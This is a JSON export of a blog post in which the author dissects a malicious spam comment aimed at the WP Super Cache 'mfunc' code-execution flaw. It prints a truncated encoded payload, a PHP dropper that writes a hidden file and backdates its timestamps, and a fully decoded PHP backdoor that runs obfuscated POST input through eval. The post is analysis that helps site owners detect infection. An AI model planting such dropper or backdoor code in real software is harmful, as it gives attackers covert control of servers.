{"id":1025,"date":"2014-03-02T18:26:10","date_gmt":"2014-03-03T00:26:10","guid":{"rendered":"http:\/\/trillworks.com\/nick\/?p=1025"},"modified":"2014-03-02T18:34:50","modified_gmt":"2014-03-03T00:34:50","slug":"malicious-php-snippet-from-a-wordpress-comment","status":"publish","type":"post","link":"https:\/\/trillworks.com\/nick\/2014\/03\/02\/malicious-php-snippet-from-a-wordpress-comment\/","title":{"rendered":"Malicious PHP snippet from a WordPress comment"},"content":{"rendered":"<p>I received a spam comment on a WordPress instance that stood out from the crowd.<\/p>\n<pre class=\"brush:php\">&lt;!--mfunc eval(base64_decode(\"IGVycm9yX3JlcG9ydGluZygwKTsgJGZpbGUgPSBkaXJuYW1lKCRfU0VSV\r\nkVSWydTQ1JJUFRfRklMRU5BTUUnXSkgLiAnLycgLiAnd3AtaW5jbHVkZXMvcXdob3N0LnBocCc7ICRzcmMgPSAn\r\nPD9waHAgZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRFpaSERxd0lFa1R2MHF2L3hRSW92RWE5d0h0WGV\r\nEWXR2UGVlMDA5ZEl... you get the idea ... )); --&gt;&lt;!--\/mfunc--&gt;<\/pre>\n<p>How can I not investigate this? It&#8217;s clearly malicious. I wasn&#8217;t sure what this mfunc business was, so I looked it up.<\/p>\n<blockquote><p>WP Super Cache is a full page caching plugin for WordPress.<\/p>\n<p>&#8230;<\/p>\n<p>Unfortunately it was reported recently that remote visitors to sites using the plugin could execute any code they like by simply leaving a comment containing the right mfunc code.<\/p><\/blockquote>\n<p>&#8212;<a href=\"http:\/\/ocaoimh.ie\/2013\/05\/01\/mfunc-in-wp-super-cache-1-4-and-beyond\/\">Donncha<\/a><a title=\"Donncha O Caoimh\" href=\"http:\/\/ocaoimh.ie\/2013\/05\/01\/mfunc-in-wp-super-cache-1-4-and-beyond\/\"><br \/>\n<\/a><\/p>\n<p>Cool. I&#8217;m not using WP Super Cache on this particular site, so bullet dodged there. I still wanted to see what the deal was with this code though. I manually executed the base64_decode (no, not with the eval!) and got this.<\/p>\n<pre class=\"brush:php\">error_reporting(0); \r\n$file = dirname($_SERVER['SCRIPT_FILENAME']) . '\/' . 'wp-includes\/qwhost.php'; \r\n$src = '&lt;?php eval(gzinflate(base64_decode(\"DZZHDqwIEkTv0qv\/xQIovEa9wHtXeDYtvPee009dIJX5FB... yeah more of this ... Cbyyu1txOSxZtXwSNTvMO1d1JuzCHsVdjwr534ek0DFSSeQXkmNVMhLNMB1rr79KCJIAAIIgUYKX\/u8\/f\/\/+\/d\/\/AQ==\"))); ?&gt;'; \r\n$mtime = filemtime(dirname($file));\r\n$fh = fopen($file, 'w'); \r\nfwrite($fh, $src); fclose($fh); \r\n@touch($file, $mtime, $mtime); \r\n@touch(dirname($file), $mtime, $mtime);<\/pre>\n<p>I tried to decrypt the big ol string a few more times and realized that this encoding inception goes way more than 3 levels deep. Luckily, there is a badass tool made specifically to help out in situations like this.<\/p>\n<p>Enter <a href=\"http:\/\/dddecode.com\/phpdecoder\">PHP Decoder<\/a>!<\/p>\n<p>It decrypts strings until it gets something useful. After pasting in the above snippet, PHP Decoder will perform 28 inceptions and give you this. (comments mine)<\/p>\n<pre class=\"brush:php\">&lt;?php\r\n@error_reporting(0); \/\/ rooting boxes, be vewy vewy quiet\r\n@ini_set(\"display_errors\", 0);\r\n@ini_set(\"log_errors\", 0);\r\n@ini_set(\"error_log\", 0);\r\nif (isset($_GET['r'])) { \r\n    \/\/ echo back the 'r' url param. Easy way to check if exploit was installed.\r\n    print $_GET['r'];\r\n} elseif (isset($_POST['e'])) {\r\n    \/\/ execute obfuscated payload code\r\n    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));\r\n} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) &amp;&amp; $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') {\r\n    \/\/ I believe this is equivalent to the above clause which reads post data\r\n    $data = file_get_contents('php:\/\/input');\r\n    if (strlen($data) &gt; 0)\r\n        print 'STATUS-IMPORT-OK';\r\n    if (strlen($data) &gt; 12) {\r\n        $fp = @fopen('tmpfile', 'a');\r\n        @flock($fp, LOCK_EX);\r\n        @fputs($fp, $_SERVER['REMOTE_ADDR'] . \"\\t\" . base64_encode($data) . \"\\r\\n\");\r\n        @flock($fp, LOCK_UN);\r\n        @fclose($fp);\r\n    }\r\n}\r\nexit;\r\n?&gt;<\/pre>\n<div>\n<figure id=\"attachment_1043\" aria-describedby=\"caption-attachment-1043\" style=\"width: 278px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/trillworks.com\/nick\/wp-content\/uploads\/2014\/03\/arnold.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1043  \" alt=\"He doesn't want anyone to see what he's about to do.\" src=\"http:\/\/trillworks.com\/nick\/wp-content\/uploads\/2014\/03\/arnold-278x300.jpg\" width=\"278\" height=\"300\" srcset=\"https:\/\/trillworks.com\/nick\/wp-content\/uploads\/2014\/03\/arnold-278x300.jpg 278w, https:\/\/trillworks.com\/nick\/wp-content\/uploads\/2014\/03\/arnold.jpg 281w\" sizes=\"auto, (max-width: 278px) 100vw, 278px\" \/><\/a><figcaption id=\"caption-attachment-1043\" class=\"wp-caption-text\">&#8220;He doesn&#8217;t want anyone to see what he&#8217;s about to do.&#8221;<\/figcaption><\/figure>\n<\/div>\n<p><span style=\"line-height: 1.5em;\">The code very quietly opens a backdoor and listens at `\/wp-includes\/qwhost.php` for arbitrary PHP code to execute.<\/span><\/p>\n<p>So, am I infected? Luckily the author made it very easy to check. Hit `\/wp-includes\/qwhost.php?r=test` in your browser. If you see &#8220;test&#8221; then you&#8217;ve been owned.<\/p>\n<p>What&#8217;s clever about the wp-includes path is that virtually all WordPress instances have \/wp-includes blacklisted in their robots.txt files. You can&#8217;t find all the infected blogs on Google with the &#8220;inurl:&#8221; trick so only the attacker has the complete list.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I received a spam comment on a WordPress instance that stood out from the crowd. &lt;!&#8211;mfunc eval(base64_decode(&#8220;IGVycm9yX3JlcG9ydGluZygwKTsgJGZpbGUgPSBkaXJuYW1lKCRfU0VSV kVSWydTQ1JJUFRfRklMRU5BTUUnXSkgLiAnLycgLiAnd3AtaW5jbHVkZXMvcXdob3N0LnBocCc7ICRzcmMgPSAn PD9waHAgZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRFpaSERxd0lFa1R2MHF2L3hRSW92RWE5d0h0WGV EWXR2UGVlMDA5ZEl&#8230; you get the idea &#8230; )); &#8211;&gt;&lt;!&#8211;\/mfunc&#8211;&gt; How can I not investigate this? It&#8217;s clearly malicious. I wasn&#8217;t sure what this mfunc business was, so I looked it up. WP Super Cache is a full &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/trillworks.com\/nick\/2014\/03\/02\/malicious-php-snippet-from-a-wordpress-comment\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Malicious PHP snippet from a WordPress comment&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[77],"tags":[87,18],"class_list":["post-1025","post","type-post","status-publish","format-standard","hentry","category-technical","tag-malicious-php","tag-security"],"_links":{"self":[{"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/posts\/1025","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/comments?post=1025"}],"version-history":[{"count":15,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/posts\/1025\/revisions"}],"predecessor-version":[{"id":1050,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/posts\/1025\/revisions\/1050"}],"wp:attachment":[{"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/media?parent=1025"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/categories?post=1025"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/trillworks.com\/nick\/wp-json\/wp\/v2\/tags?post=1025"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}